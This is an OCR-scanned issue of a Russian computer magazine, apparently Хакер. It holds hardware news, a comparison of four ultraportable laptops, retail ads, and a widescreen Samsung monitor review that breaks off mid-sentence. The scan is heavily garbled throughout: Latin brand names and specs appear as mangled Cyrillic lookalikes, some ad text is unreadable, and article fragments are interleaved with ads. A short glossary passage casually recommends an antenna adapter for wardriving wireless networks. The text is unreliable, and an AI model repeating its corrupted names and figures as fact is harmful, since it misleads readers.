венные цвета и оптимальную яркость. 




Кроме этой уникальной отличитель- 
ной черты, камера особо ничем не 
выделяется: 3 мегапикселя с 3-х крат- 
ным оптическим увеличением, стан- 
дартный набор функций. 

МАО идет 
на понижение 

В очередной раз дешевеют процессо- 
ры от АМО, причем некоторые модели 
более чем на 40% ! В основном, сни- 
жению подверглись цены на «мобиль- 
ные» версии АІѴЮ, но и «настольные» 
кристаллы тоже заметно похудели. 
Скажем, если раньше в пределах 
$100 ты мог купить МоЬіІе АФІоп ХР 

АМО Л > 

АсМоп хр 

1400+, то теперь за эту же цену тебе 
предложат камень на 1800+. Обыч- 
ный АіЫоп ХР уже прижался частотой 
2200+ к сотке бачинских ($107). Есте- 
ственно, все эти цены действительны, 
если ты покупаешь процы партиями 
от 1 000 штук. 

ЮР, которым 
не нужно элект- 
ропитание 

Компания Медатесііа начала производ- 
ство жидкокристаллических дисплеев, 
которые работают даже после отключе- 
ния питания. Новые черно-белые дисп- 
леи основаны на холестирических жид- 
ких кристаллах и предназначены для 
устройств чтения электронных книг. 
Основная особенность таких экранов в 
высокой стабильности даже при отсут- 
ствии электрического поля, что позво- 
ляет им работать в 10 раз дольше, чем 
обычный ЖК дисплей. На этом удивти- 
ельные возможности новинки от тай- 
ваньских умельцев не заканчиваются. 
Холестирические дисплеи (СГі-ЮО) не 
нуждаются в подсветке и при этом 
обеспечивают четкость, сравнимую с 
печатным листом бумаги! # 
Кроме всего прочего, новые 
экранчики тоньше, легче и Щ Я 
дешевле традиционных 1_Сй. ™ ' 
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Сделай свою жизнь богаче ! 




Более увлекательно, больше возможностей ! 

С компьютером “МИР" и мощным процессором Іпіеі® Репііит® 4 

Ктіі іью пср “МИР'* на базе праіісйсйрсв ІпЯівЮ РсіШілл® 4 2.4 ГТ ц пира іи і Вис 
прекрасными фотѵірафмя ми, муіыиін, фильмами н играми. 



I 'ардінтии на системные блоки 2 гсш 
Ссртнфаошрсишшы: РоеТссточ 
Прслучлшюакн якпснзйОнііиго ПО 

Компьютер лробси^г кюнфніуряиин пол заказ без предоплаты 
Покупки а арчдпг 

Расчет по кредитным картам Ѵі^. МлНи СвпІ 
Скилкн ІЮ яаргаі СЪипІікпл о. ИХ,' 

При поку пке - дисконтная карта '‘■Ф- Центра" к пшрок 



учись С удовольствием 




общайся с друзьями 



Где купить компьютер “МИР" ? 

О 1 О 
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представитель привычного класса пер- 
соналок. Здесь мы жертвуем некоторы- 
ми нюансами ради мобильности, а иде- 
ология остается прежней. 



і^ИН Диагональ экрана - это пер- 
вый признак, по которому можно опре- 
делить компактность ноутбука. От этого 
параметра зависят все линейные раз- 
меры корпуса ноутбука. Как видно, диа- 
гональ АЗІІЗ 31300А больше на целых 
1 ,2 дюйма, то есть на 3,01 сантиметра! 
Максимальное разрешение экрана у 
всех наших ноутбуков 1024X768 точек. 
Для І_СЭ-дисплея такое разрешение не 
только наиболее распространенное, но 
и единственное на котором можно нор- 
мально работать без артефактов. Повы- 
шение разрешения приведет к отключе- 
нию дисплея, а понижение к размытос- 
ти линий. Конечно, год от года произво- 
дители жидкокристаллических диспле- 
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Никто не спорит, можно быть весьма 
! мобильным с системным блоком в 
I рюкзаке за плечами и при этом не прив- 
лекать внимание правоохранительных 
I органов, подозрительно жужжа венти- 
I ляторами. Это как с путешествиями - в 
1 первый свой поход я пошел с огромным 
брезентовым рюкзаком типа «колобок». 
Все кончилось тем, что мне пришлось 
I тащить его волоком в гору и скатывать 
1 кубарем с горы. В следующем походе у 
меня уже был легкий и компактный син- 
тетический рюкзак с минимумом ве- 
1 щей, я шел практически налегке и смот- 
рел, как другие мучаются с тоннами не- 
нужных вещей. 

Есть еще вариант - карманный компью- 
I тер. Однако у него сильно ограниченная 
1 производительность, малые размеры 
I экрана, и проблемы с подключением 
1 клавиатуры. А нам ведь хочется, чтобы 
работали все наши хакерские проги, 



слитые с инета, смотрелись фильмы, а 
в свободное время можно было бы по- 
кодить на каком-нибудь нормальном 
языке, или даже поиграть в серьезную 
трехмерную игру. 

Суперпроизводительность не нужна, за- 
то нужен большой экран, удобная кла- 
виатура, вместительный винчестер, 
обычная для ПК операционная система, 
возможность подключения ко всему, 
что есть на свете цифрового. 

На досуге мы мечтали с Ядовитым о 
контактных линзах 1_СЭ, о вводе инфор- 
мации усилием воли или даже о галлю- 
цинативном мониторе. При этом бесп- 
роводные технологии позволили бы 
кирпич с процессором и антенной, свя- 
зывающей нас с всемирной пакетной 
радиосетью, положить в сумку или по- 
весить на пояс. 

Но вернемся к реальности. Ультрапор- 
тативный ноутбук - самый маленький 



ев совершенствуют их параметры, 
однако до идеала все еще далеко. Так | 
что эксперименты с разрешением на | 
І_СЭ не рекомендуются. 

Но при работе с текстами и картинками I 
для пользователя важно, как соотносят- 1 
ся разрешение и размер экрана. Понят- 
но, что на А81І8 81300А символы и де- 
тали крупнее, и потому условия для ра- 1 
боты более комфортные. 



ІШИ Что ты видишь на этом гра- 1 
фике? Правильно, размеры ноутбуков I 
по длине и ширине примерно одинако- 1 
вые. Это значит, что мы не ошиблись, [ 
включив А81І8 81300А в наше тестиро- 
вание. Еще из графиков видно, что I 
ВиЗЗ 2060 самый маленький, а АЗІІ8І 
81300А все-таки самый большой. 



ІШИ Мы уже говорили, что размер I 
ноутбука сильно зависит от размера эк- [ 



Реггит 



ТОНКОЕ СЧАСТЬЕ 

Ф ІезПаЬ (1ез1_ІаЬ@датеІапсІ.ги) 



.„,, РТ очень много ѵ. о зводитепьно і хаке ра. 

Существует п о цене. пи " г а - к1 представь оеве^ 



крадущегооа о^ в Г м ноутБУ коМ. 

п-ЯТИѴ.Иі Г - 






* 



рана, но как? Вот мы и решили прове- 
рить. Для этого мы поделили диагональ 
экрана на диагональ корпуса. Чем бли- 
же это соотношение к единице, тем, ес- 
тественно, лучше! Конечно, всем хочет- 
ся, чтобы размер экрана был таким же, 
как размер корпуса (то есть отношение 
диагоналей было бы единичкой). Как ви- 
дишь, у современных ноутбуков с этим 
все обстоит неплохо! Соотношение оп- 
тимально у ВЫЗЗ 2060, потому что у не- 
го меньше размеры корпуса, и у А81І8 
81 300А - за счет того, что экран больше. 

СТ Можно спорить до драки, от 
чего зависит толщина ноутбука и зачем 
это нужно. Толщина может быть важна 
при засовывании ноута в карман (но это 
нам не грозит) или при попытке втис- 
нуть его в папку или сумку. Ширина и 
длина все-таки играют большую роль, 
когда ноут нужно куда-то засунуть. Тол- 
щина менее важна (в разумных преде- 
лах). Толщина, скорее, вопрос эстетики. 
Однако чтобы сделать ноутбук тонким 
или даже ультратонким, приходится из- 
бавляться от шпинделей. Свой шпин- 
дель (вращающуюся часть) имеют: СЭ- 
РОМ, ОѴЭ-ВОМ, жесткий диск, диско- 
вод. Наши ноуты можно назвать однош- 
пиндельными, поскольку в них встроен 
только один жесткий диск. Вентилятор 
не в счет. То есть, покупая тонкий ноут- 
бук, ты обрекаешь себя на страдания, 
связанные с отсутствием СОДМ)ВОМ. 
Конечно, можно подключить внешний, 
но это уже гимор! 

Итак, смотрим на график «толщина»! 
Т08НІВА Рогіеде 2000 - самый тон- 
кий, для сравнения мы дали толщину 
обычной коробки из-под компакт-дис- 
ка - 10 миллиметров, хотя бывают тон- 
кие (пятимиллиметровые). Сложно 
представить себе ноутбук толщиной с 
полторы коробки, нужно щупать. На 
фото ты этого не разглядишь! Это, на- 
верное, единственный ноутбук в на- 
шем тестировании, толщина которого 
оправдывает отсутствие СЭ/ЭѴЭ-при- 
вода! Существуют, конечно, бытовые 
СЭ-плееры толщиной 14 миллимет- 
ров, но не нужно забывать, что много 
места съедает сама откидывающаяся 
матрица. 

Остальные ноутбуки толщиной в две и в 
три коробки могли бы вместить в себя 
СЭДЖ)-ВОМ. Особенно это касается 
А81І8 81300А, как видно на графике. 

-Конечно, разработчики ноутбуков бу- 



дут нас ругать, но мы считаем, что бы- 
ло бы неплохо снабжать ультратонкие 
ноуты встроенными СОДМ)-драйвами. 

Несомненно, цена ноутбука 
сильно зависит от компактности, и вес 
тут имеет немалое значение. Таскать с 
собой кирпич, пусть даже и небольших 
размеров, дело утомительное, поэтому 
хочется ноутбук полегче. Т08НІВА 
Роііеде 2000 весит почти килограмм. 
АЗІІ8 81300А в среднем на полкило тя- 
желее соперников. 

Да, и не забудь, что тебе придется тас- 
кать с собой минимум: сетевой адап- 
тер, внешний СЭДМЭ-ВОМ, дополни- 
тельную или запасную батарейку. Все 
это - дополнительный объем и допол- 
нительный вес. Покидать же базу налег- 
ке с голым ноутбуком можно очень не- 
далеко и ненадолго. 



ЕШО в маленький ноутбук боль- 
шая батарея не влезет. Чем больше 
батарея, тем дольше она протянет. По- 
казатели автономной непрерывной ра- 
боты у всех портативных ноутбуков не- 
велики. Конечно, это время зависит не 
только от батареи, но и от того, как ра- 
ботать с ноутбуком - сильно ли загру- 
жать процессор, пользоваться ли веш- 
ними устройствами. Ноуты сами стара- 
ются продлить свою жизнь, для этого 
они затемняют экран, затормаживают 
операции, то есть пытаются впасть в 
анабиоз, сохранив только самые необ- 
ходимые функции. 

Ко всем ноутбукам кроме АЗІІ8 
81300А можно присоединить сразу 



две батареи: одна нормальная, а дру- 
гая внешняя (дополнительная). Есте- 
ственно, ноутбук становится больше и 
тяжелее. 

Т08НІВА и ЗНАВР предлагают внешние 
батареи повышенной емкости, что поз- 
воляет значительно продлить жизнь 
ноутбука. У ВЫЗЗ тоже есть дополни- 
тельная батарейка, только продолжи- 
тельность ее жизни нам точно устано- 
вить не удалось. 

Опыт показывает, что там, где можно 
спокойно устроиться с разложенным 
ноутбуком, обычно есть розетки - в ма- 
шине (адаптер для прикуривателя), 
квартире, офисе, на заводе, на техни- 
ческом объекте, в библиотеке. А в мес- 
тах, где нет розетки, ты редко прово- 
дишь больше часа: метро, кафе, ауди- 
тория. Но если твоя жизнь настолько 
сумасшедшая, что на подключение к 
розетке и зарядку батарей просто нет 
времени, то придется раскошелиться на 
батарею повышенной емкости или 
просто на запасную батарею. 



ГШИ Первый вопрос, который за- 
дают при покупке компьютера: «А пой- 
дут ли на нем мои игрушки?». Вот мы и 
решили начать с теста ЗЭтагк 2001 . На 
АЗІІЗ 31300А он вообще не запустился, 
сославшись на недостаточное количе- 
ство системной памяти. На ТОЗНІВА 
Роііеде 2000 он ни разу не дошел до 
конца, вылетая на разных участках. 
ВЫЗЗ 2060 притормаживал и иногда 
зависал. И только ЗНАВР Асііиз ІІМЗОѴѴ 
достойно справился с ЗЭтагк 2001. 
ТОЗНІВА и ВЫЗЗ подвели слабенькие 



видеоадаптеры, а АЗІІЗ отсутствие па- 
мяти. Хотя если в АЗІІЗ 31300А доба- 
вить оперативки до 256МВ, то он мог 
бы стать мобильной игровой платфор- 
мой, благодаря удачному видеоадапте- 
ру и быстрому процессору. 

Как не странно, но во время этого тес- 1 
та мы оценили великолепное качество | 
матрицы ЗНАВР Асііиз ІІМЗОѴѴ. Его яр- 
кий ЮЭ-дисплей позволял различить 
все детали трехмерных сцен. А ЗЭтагк 
состоит из набора тестовых трехмер- 
ных сцен. На остальных ноутбуках про- 
исходящее на экране различалось с 
трудом. Кстати хорошая яркость и 
контрастность полезны при работе с 
фотографиями. 

Но все же не стоит обольщаться по пово- 
ду графических возможностей ЗНАВР 
Асііиз ІІМЗОѴѴ. К примеру, на новом пер- 
сональном компьютере на базе АМЭ 
Аііііоп ХР2700+ с нормальным графичес- 
ким адаптером мы намерили 12886 
ЗДмарков, то есть в 1 8( ! ) раз больше. При 
этом готовый компьютер стоил в полтора 
раза дешевле. Вот только чтобы передви- 
нуть его с одного места на другое, требо- 
вались немалые усилия. Привыкай, в но- 
утбуках ты платишь за мобильность и при 
этом теряешь в производительности. 



Так получилось, что все ноутбу- 
ки, которые нам привезли, оказались с| 
различными частотами процессоров, ес- 
тественно это отразилось на производи- 1 
тельности. 



Н4»1И Зузоіі Запсіга показывает 
производительность системы по час- 
тям, то есть ее аппаратный потенци- 
ал. Видно, что арифметические и 
мультимедийные операции процессо- 
ра, а также работа с памятью зависят 
от частоты СР11. Также видно, что на 
ноутбуке ЗНАВР Асііиз ІІМЗОѴѴ уста- 
новлен быстрый винчестер. 



РСтагк 2002 проверяет про- 1 
изводительность на практике, на наборе | 
стандартных тестов. Тут картина меня- 
ется. АЗІІЗ и ЗНАВР показывают непло- 
хую производительность системы в це- 
лом, ТОЗНІВА догоняет, а ВЫЗЗ отстает. 
Однако снова не будем обольщаться 
по поводу производительности, так 
как уже не самый современный компь- 
ютер на базе ІпіеІ Сеіегоп 2 ГГц 
дает производительность СР11 
6,5 тысяч ПСмарков. 
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ЦШ 10/100 (ІгасаІ Агеа ІМеблгогк) - порт 
для подсоединения к локальной сети 
ЕШегпеІ по витой паре на скоростях 1 0 
либо 100 мегабит. Скорость зависит 
от коммуникационного оборудования. 
802. 1 1 Ь (Вабіо ЕШегпеЦ - метод бесп- 
роводного (ѵѵігеіезз) доступа по радио 
к локальной сети. Некоторые ноутбуки 
имеют внутренний адаптер 802.116, 
но это не значит, что тебе удастся лег- 
ко хачить радиоточки локальных сетей. 
Мощности такого внутреннего адапте- 
ра хватает только на работу недалеко 
от точки радиодоступа к локальной се- 
ти. Чтобы заниматься полноценным 
варчекингом, нужен адаптер с выхо- 
дом под антенну. 

РС СагсІ - стандарт, разработанный 
РСМСІА (РегзопаІ Сотриіег Метогу 
СагсІ Іпіегпайопаі Аззосіаііоп). Это еще 
одна возможность расширить конфигу- 
рацию ноутбука дополнительным уст- 
ройством. Например, можно купить РС 
СагсІ - Раб іо Еібегпеі адаптер с выходом 
под внешнюю антенну для полноценно- 
го варчекинга. 

ЗЭ СагсІ (Зесиге ОідйаІ) - карта памяти, 
которая широко применяется в мобиль- 
ной цифровой технике. Отличается вы- 
сокой скоростью, компактностью, ма- 
лым энергопотреблением. 

СЕ СагсІ (Сотрасі РІазМ) - карта памяти, 
широко распространенная в цифровой 
фототехнике, многие цифровики 



Т08НІВА РОВТЕСЕ 2000 

Процессор: Мобильный низковольт- 
ный ІпіеІ Репііит III (750 МГц) 

Память: 256Мб 

Видеоадаптер: Тгібепі СубегВІабе ХР АП 
Винчестер: 20ГБ 

Самый тонкий и легкий ноутбук! Толщи- 
на - полторы коробки из-под СО-диска 
и килограмм веса. Очень красивый и 
стильный. Живет с дополнительной ба- 



ша 



РІВ 



ІЕЕ1394 



Модем (Ѵ.90) 



Модем (Ѵ.34Ьіз) 



ЬДИ 10/100 



802.116 



РС Сага Туре 



30 СагсІ 



СР Сага 



АіВОХ 



Зреакег-ОІІТ 



ОІутриз, Саппоп, ІМікоп, РиііРіІт, > 
Кобак, Зідта, МіпоКа поддерживают СР. 
Обычно вместе с СР поддерживается 
ІВМ тісго бгіѵе (тб). Такие карты, ко- 
нечно, проигрывают по скорости, ком- 
пактности и энергопотреблению, зато 
они дешевые и вместительные. Для ра- 
боты с цифровым фотоаппаратом имеет 
смысл брать ноутбук с поддержкой 
Сотрасі РІазГі . Особенно это полезно, 
когда на фотоаппарате нет интерфейса 
1394, а только медленный ІІЗВ. 

АіВОХ - 50-штырьковый интерфейс 
АЗІІЗ для подключения СО/ОѴО или да- 
же дополнительного ЮЕ винчестера. 
Плюсы, например, в том, что с СО-дис- 
ковода с интерфейсом АіВОХ можно 
загрузиться. 

АѴІ (Апаіод Ѵібео Іпіеііасе). У любого из 
наших ноутбуков есть возможность 
подключения внешнего монитора через 
стандартный интерфейс. 

Азиз РоіІВАВ - модуль с разными полез- 
ными разъемами типа 1_РТ, рз/2, аудио- 
выхода. Идею дополнительных модулей 
с разъемами продвигает не только Азиз, 
но и другие фирмы, такие как ЗОІМѴ. 
ЕРР/ЕСР (Епбапсеб РагаІІеІ Роіі/Епбапсеб 
СарабіІШез Роіі) - улучшенный парал- 
лельный порт / порт с расширенными 
возможностями. Все это типы старого 
доброго І_РТ- порта, к которому до сих 
пор подключают некоторые устройства, 
хотя большинство уже перешли на ІІЗВ. 



тареикои повышенной емкости доль- 
ше всех: целых 9 часов! Такая батарей- 
ка пристегивается под соединением 
дисплея и клавиатуры ноутбука и слу- 
жит удобной подставкой, похожей на I 
ножки, которые выдвигаются из обыч- [ 
ной клавиатуры, чтобы расположить ее I 
под углом к столу. У нас в комплекте | 
была дополнительная батарея. 
Рекомендуем для людей с высокими I 
требованиями к стилю, толщине, весу I 
и времени жизни. То есть для людей, [ 
живущих в сумасшедшем темпе с хро- 1 
ническим недостатком времени. У та- 1 
ких и погамиться, наверное, време- 1 
ни и сил нет. Мы этот ноутбук как I 
игровой и не рекомендуем, виде- [ 
окарта подкачала. 



входов и выходов. 

ІЮа РІВ (ІпТгагеб Оаіа Аззосіаііоп Разі 
ІпТга Реб) - инфракрасный порт с быст- 
рым типом доступа. Под быстрым дос- 
тупом понимается скорость до 4 мега- 
бит в секунду. 

ІІЗВ (ІІпіѵегзаІ ЗегіаІ Виза) - универ- 
сальная серийная шина, к которой 
подключаются многие внешние устрой- 
ства: внешние винчестеры, СО-ромы, 
дисководы, принтеры, сканеры, мыши, 
клавиатуры. 

1394(РіѴѴі- РігеѴѴіге) - огненный провод. 
Конкурент ІІЗВ, позволяет работать с 
устройствами, требовательными к ско- 
рости: цифровыми видеокамерами фѴ 
- ОідйаІ Ѵібео), скоростными внешними 
винчестерами, ОѴО-плеерами и рекор- 
дерами, с другими устройствами, кото- 
рые быстро работают с большими бло- 
ками данных. 

РіѴѴі - позволяет объединить компьюте- 
ры в небольшую сверхскоростную сеть 
400 мегабит в секунду, а с новым стан- 
дартом 13946 - 800 мегабит секунду. 
Единственный минус - короткие прово- 
да, всего 4,5 метра. І-Ііпк та же 1394, но 
с фирменным названием от Зопу. 
Модем (Ѵ.90) - модем для подсоедине- 
ния к интернету на скорости до 56 кило- 
бит в секунду по телефонной линии. 
Модем (Ѵ.346ІЗ) - для подсоединения к 
интернету на скорости до 33600 бит в 
секунду. 



АЗІІЗ РогШаг 



ЕРР/ЕСР 



Полностью автономный компьютер в 
наше телекоммуникационное время - 
нонсенс. Поскольку все наши ноуты ли- 
шены встроенных дисководов, будем 
искать другие возможности их связи с 
внешним миром. Для этого мы собрали 
в табличку поддержку всех стандартов, 



визз 2060 

Процессор: Мобильный низковольт- 
ный Іпіеі Репііит III (933 МГц) 

] Память: 256Мб 

Видеоадаптер: 33 Сгарбісз Тѵѵізіег 
Винчестер: 20ГБ 

Самый маленький по диагонали корпуса 
ноутбук, и один из самых легких, одна- 
ко толстоват! Видимо, такие параметры 
достигаются за счет пластмассового 



корпуса. Сомневаемся, что это как-то 
уменьшает прочность ноутбука. Понят- 
но, что ноут в металлическом корпусе 
тоже нельзя ронять, цеплять им за углы 
или бить по нему молотком. Да, пласт- 
массовый корпус менее эстетичен, зато 
легче металлического. 

У этого ноутбука лучшее соотношение 
размеров матрицы и корпуса! 

На этом портативном компе можно ком- 
фортно поиграть. Производительность 
неплохая. 

В комплекте ничего нет, только сетевой 
адаптер, инструкция и софт. Может, это 
только нас так обделили? При покупке 
этого ноута тебе придется раскоше- 
литься на внешний ІІЗВ СО-ВОМ и на 
дополнительную батарейку, потому что 
встроенной будет маловато. Дополни- 
тельная батарейка пристегивается в 
качестве второго дна к ВИЗЗ 2060, 
и поэтому ноутбук еще немного 
» ^ потолстеет. 



Реггит 




ТЕЛЕФОН КЛИЕНТСКОЙ СЛУЖБЫ 



рш^пів 

СЕТЬ КОМПЬЮТЕРНЫХ ЦЕНТРОВ 




МНОГОКАНАЛЬНЫЙ 



ТРЕБУЕТСЯ 




V 3-х летнее бесплатное сервисное обслуживание, 
включая один год полной гарантии 

V бесплатное обслуживание на рабочем месте в 



БОЛЬШАЯ МОЩНОСТЬ 



компьютер нусііі 
на базе процессора 
ІШеГ Репііит 4 2.0 СНг 
производительность, 
которая удивит 






Компьютер можно заказать с 
доставкой по телефону: 

(095) 970-1939 или на 
интернет-сайте зИор.пі.ги 



Розничные салоны в России 
г. Москва 

м. Сокол, Волоколамское шоссе, 2 
м. Шаболовская, ул. Шаболовская, 20 
м. Красносельская, ул. Краснопрудная, 22/24 
м. Комсомольская, ун-г “Московский”, 4 этаж 
м. Профсоюзная, Нахимовский пр-т, 40 
м. Пл. Ильича, ул. С.Радонежского, 29/31 
м. Савеловская, ВКЦ "Савеловский", пав.: 024, А1-1, 20-5 
м. Щукинская, ул. Новощукинская, 7 

м. Пражская, ТЦ "Электронный рай", пав.: 1Б-47, 2В-14, 1В-18 
м. Люблино, ТК "Москва", 2 этаж, 1 линия 

г. Воронеж 

ул. Кольцовская, 82, тел.: (0732) 72-73-91 

г. Н. Новгород 

Бульвар Мира, 5, тел.: (8312) 77-50-55 , 44-54-23 

Магазины работают ежедневно без выходных и перерывов 
ѵѵѵѵѵѵ.роіагіз.іги, іпТо@роІагі§.ги 

Для корпоративных клиентов: согр@роІагіз.ги 



Москве (в пределах МКАД) 

V 100% предпродажное тестирование 

V отличные характеристики для работы дома и в 
офисе 




репііит Ц 



Оптовые поставки ІЧТ Сотриіег: 

тел.: (095) 970-1930, факс: (095) 970-1931 



Іпіеі, ІпТеІ Іпзісіе І_о^о, Репііипл являются зарегистрированными торговыми знаками корпорации Іпіеі и ее дочерних компаний в США и других странах. 
Сертификат соответствия № РОСС РІІ.МЕ67.В01942. Логотипы МТ СотріДег и РОІ_АРІ5 являются зарегистрированными знаками их владельцев. 





Реггит 



ТОНКОЕ СЧАСТЬЕ 

Ф іезПаЬ (іезі_ІаЬ@датеІапсІ.ги) 



5НАВР АСТШЗ ілѵізоѵѵ 

I Процессор: Мобильный низковольт- 
ный Іпіеі Репйит III (866 МГц) 

Память: 256 Мб 
Видеоадаптер: ІпіеІ 82830М 
Винчестер: 40ГБ 

ЗНАПР Асйиз ІІМЗОѴѴ понравился нам 
больше всех. На нем можно полноценно 
поиграть, благодаря хорошим систем- 
ным данным и отличному ЮО-дисплею. 
Кстати превосходство матрицы этого 
ноутбука видно невооруженным глазом, 
I это полноценный монитор! Неудиви- 
I тельно, что эта модель обладает также 
полноценной удобной клавиатурой, 
I очень похожей на обычную клаву. Рабо- 
I те с графикой способствует и быстрый 
I объемный винчестер. 

I Рекомендуем ЗНАПР Асйиз ІІМЗОѴѴ для 
I работы с графикой и фотографиями, 
I для игр, для комфортного набора текс- 
I та, для работы в отсутствии розеток. 

1 Чего еще нужно для счастья че ловеку, 
который любит графику и игры? Конеч- 
но СЭ-привод в комплекте. Хотя, нет, 
I для счастья нужен комбайн - пишущий 
I СБ плюс Ц\Ю - плеер в одном флаконе. 
1 Но это тебе уже придется покупать 
I отдельно. 




АЗЫЗ 31300А 

Процессор: Сеіегоп (1130МГц) 

Память: 128 

Видеоадаптер: ІпіеІ 82830М 
Винчестер: 20ГБ 
Самый производительный компьютер в 
нашем обзоре. Ему бы добавить памяти 
до 256 мегабайт, и можно будет ис- 
пользовать как игровой. Комфортной 
работе способствует большая матрица, 
при этом линейные размеры не намно- 
го больше, чем у остальных ноутбуков. 
Самое оптимальное соотношение раз- 
меров матрицы и корпуса! Хотя ноутбук 
самый тяжелый и самый толстый в об- 
зоре. Всех сильно прикалывают проз- 
рачные кнопки на клавиатуре. 

АЗІІЗ 31300А поражает богатством сво- 
ей комплектации, ощущения двоякие: 
одновременно хочется радоваться и 
плакать. Поначалу мы здорово перепу- 
гались, что заказали не тот ноут, когда 
нам вручили огромную тяжелую короб- 
ку. Однако в коробке оказался тонень- 
кий АЗІІЗ 31300А, который мы уже не 
надеялись увидеть. Большую часть ко- 
робки занимала огроменная и тяжелая 



кожаная сумка типа «портфель». Сумка 
весила больше чем ноут и была набита 
разными приблудами. Жаль только, что 
нет возможности подключения допол- 
нительной батареи, это минус. 
Оптическая мышка. «А мышка мне за- 
чем?» - спросишь ты. Опыт показывает, 
что все сначала с восторгом пользуются 
сенсорной панелью ТоисГіРасІ, а наиг- 
равшись, покупают мышь. Лучше мыши 
только оптические беспроводные трек- 
болы с огромным красным шариком, 
правда, не все это знают. 




16 Ньюсы 



'Реррум 








іЛуѵшшм 



ЛЮБИШЬ АКТИВНЫЙ ОТДЫХ? 



РНШР5 



ЖІ@Н6 С МрАЛ/ШЩ. 



ШШШШ 



ПРОВЕРЬ СНАРЯЖЕНИЕ! 



С 20 февраля по 20 апреля при покупке 
бумбокса РМІірз фляга - в подарок! 




ѵѵѵѵѵѵ.се.рЫІірз.ги 



ЛІ.&ідео 



(095) 777-777-5 



№мш> 

(095) 780-00-00 




(095) 787-70-07 



ТЕХНО 



ЕИПП 



(095) 777-8-777 



эаьдФрйдо 

(095) 5-000-000 



товар о 







Реп-игл 



ЗАМЗІШС ЗѴЫСМАЗТЕВ 172ѴѴ 

^ Исполнитель желаний (рОгОН@геаІ. хакер. ш) 




Распаковав свежепоступив- 
шийЗупсМазІег 172Ш, мы поня- 
ли, что имеем дело с новой кон- 
цепцией 17-дюймовых монито- 
ров. Это широкоформатный 
(ѴѴісІе) монитор с соотношением 
сторон 15:9. Сейчас мы выяс- 
ним, почему при покупке монито- 
ра стоит выбрать именно широ- 
коформатный девайс. 



РАЗРЕШЕНИЕ 1280X768 



Тут сразу посыплется масса вопросов, 
ведь все уже привыкли к разрешению 
1280X1024 на 17-ти дюймовых 1_С0. На 
обычных квадратных ЮЭ-мониторах та- 
кое разрешение не очень удобно, пото- 
му что все очень мелкое. Чтобы нор- 
мально работать на таком разрешении, 
приходится увеличивать шрифты, а 
иногда иконки, в результате на экран 
помещается столько же инфы, сколько 
влезло бы с разрешением 1024X768. 
Однако при 1280X1024 требования к 
производительности системы (особенно 
видюхи) повыше. 

Поэтому 1 024X768 - излюбленное раз- 
решение пользователей 17-ти дюймо- 
вых мониторов. 

Дело осложняется тем, что у ЮО-дисп- 
леев всегда есть оптимальное разреше- 
ние, на котором они показывают лучше, 
чем на всех остальных. И любимое раз- 
решение у ІЛЮ-семнашек, как ты дога- 
дался, 1280X1024. То есть, установить 
привычные 1 024X768 ты сможешь толь- 
ко с потерей качества, пусть даже нез- 
начительной. Есть, правда, еще одно 
спасение: 18-дюймовые ІЛЮ-дисплеи с 
разрешением 1280X1024, там все выг- 
лядит покрупнее. Не будем утверждать, 
что все компьютерщики очкарики. Но 
так сложилось, что когда человек поку- 
пает І_СО-диспелей, он в первую оче- 
редь думает о спасении своих глаз. Тут 
можно долго спорить, однако согла- 
сись, что ежедневное разглядывание 
мелких букв- козявок вряд ли пойдет на 
пользу твоему зрению. 

Итак, ЗАМЗІЖ ЗупсМазіег 172ѴѴ 
имеет идеальное соотношение разме- 
ра и разрешения экрана. Собственно 




это ненапряжные 1024X768, только с 
добавленными краями. В результате 
получаем 1280X768. Заметь, что 1280 
точек по горизонтали мы получили не 
за счет уменьшения изображения, а 
за счет растягивания экрана в длину! 



ЗАЧЕМ НУЖЕН ѴШЕ? 



Стереотипы ломать сложно, все уже 
привыкли к квадратным мониторам, хотя 
это никогда не было удобно. А дело-то, 
видимо, в том, что делать обычные 
электронно-лучевые (ЭЛТ) мониторы в 
формате 1 5:9 не так-то просто. Вот нас 
и приучили к квадратному изображению. 
Широкоформатные мониторы, естест- 
венно, существовали в профессиональ- 
ном секторе, но в быт они вошли только 
с появлением домашних кинотеатров. 
Теперь нужно ожидать завоевания широ- 
ким форматом настольных компьюте- 
ров. Ведь каждый современный комп 
комплектуется М)-дисководом. Но на 
обычном 17-дюймовом мониторе можно 
смотреть широкоформатный П\Ю либо с 
обрезанными краями, либо с черными 
полосами сверху и снизу. Площадь квад- 
ратного экрана используется неэффек- 
тивно. Широкоформатный ЗупсМазІег 
172ѴѴ идеально подходит для просмотра 
Ц\Ю на домашнем компе. 

Дизайнеры и инженеры тоже оценят ши- 
рокий формат: работая в РІтоіоЗІтор, 
ІІІизІгаІог, ОАО, любой сталкивался с проб- 
лемой, когда картинку (чертеж) нужно 
сделать крупнее, чтобы лучше разглядеть, 
но при этом инструменты девать некуда. 
На широкоформатном мониторе, растя- 
нув картинку на максимум по высоте, ты 
имеешь по бокам много места для пане- 
лей с инструментами. При этом геомет- 
рия ІЛЮ-дисплея заведомо лучше многих 
обычных плоских ОРТ (СаМе-Вау ТиЬе). 
ЗАМЗШСі ЗупсМазіег 172ѴѴ традиционно 
не подвел с геометрией, то есть квадраты 
квадратные, а круги круглые! 

Конечно, не обошлось без незначи- 
тельных искажений по краям (слева и 
справа), которые есть у любого ЮО- 
монитора. Эти искажения настолько 
незаметны, что их способен разгля- 
деть только профессионал. Несмотря 
на это, мы можем смело рекомендо- 



вать монитор профессиональным чер- 
тежникам, потому что середина иде- 
альна, а по краям все равно будут ле- 
жать панели с инструментами. 
Профессиональные интернетчики нас 
тоже поймут. Когда у тебя справа висит 
записная книжка или хистори браузера, 
а слева список (кнопочки) уже загружен- 
ных страничек, то в центре остается ма- 
ло места под саму страничку. Приходит- 
ся скролить! Причем нужен не только 
вертикальный, но и горизонтальный 
скрол на мышке. На широком формате 
инструменты (записная, история, кноп- 
ки) лежат по краям, а места между ними 
- завались. Кстати с этим монитором 
может прокатить новая концепция поис- 
ка в интернете сразу в двух окнах. То 
есть ты сможешь одновременно смот- 
реть сразу две странички! На обычных 
семнашках это невозможно, да и брау- 
зер придется модернизировать под эту 
новую концепцию. 

Ну и, наконец, игры. Для приставочных 
игр поддержка панорамного экрана не 
новость - приставку же можно подклю- 
чать к домашнему кинотеатру. А теперь 
возрадуйтесь, фанаты Соипіег Зігіке! 
Новые версии Контры будут поддержи- 
вать ѵѵісіе. Только представь, какие пре- 
имущества перед противниками ты по- 
лучишь с панорамным дисплеем. Мы бы 



на месте компании ЗАМ81ІМС! провели в 
ближайшее время чемпионат по контре: 
одна команда на обычных семнашках, а 
другая на панорамных ЗупсМазіег 172ѴѴ! 
Получилось бы очень убедительно. 



ЗАДЕРЖКА 



Кстати об играх. ЗупсМазіег 1 72 ѴѴ об- 
